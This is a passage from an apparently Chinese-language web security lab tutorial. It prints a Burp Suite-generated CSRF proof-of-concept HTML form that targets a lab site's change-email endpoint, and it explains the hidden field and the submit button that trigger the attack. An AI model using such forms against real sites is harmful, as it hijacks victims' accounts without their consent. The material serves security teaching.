查看生成的 HTML 表单
在此步骤中,你将检查 Burp Suite 生成的 HTML 代码。理解这段代码对于理解 CSRF 攻击的工作原理至关重要。
在“Generate CSRF PoC”窗口中,你将看到一段 HTML 代码。它应该与以下内容类似:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/");
</script>
<form
action="https://your-lab-id.web-security-academy.net/my-account/change-email"
method="POST"
>
<input type="hidden" name="email" value="test@example.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
让我们分解一下这个 HTML 的关键组成部分:
<form action="..." method="POST">: 这定义了一个 HTML 表单。action 属性指定了表单数据将被发送到的 URL——在本例中,是用于更改电子邮件地址的相同端点。method="POST" 与原始请求的方法相匹配。
<input type="hidden" name="email" value="...">: 这是一个隐藏的表单字段。它包含服务器执行操作所需的参数。这里是 email 参数,值为 test@example.com。由于它是隐藏的,访问此页面的受害者将看不到它。
<input type="submit" value="Submit request" />: 这创建了一个按钮,受害者需要点击该按钮才能触发攻击。在更高级的攻击中,可以使用 JavaScript 自动触发此提交。
这个简单的 HTML 页面是 CSRF 漏洞的一个功能性概念验证(Proof of Concept)。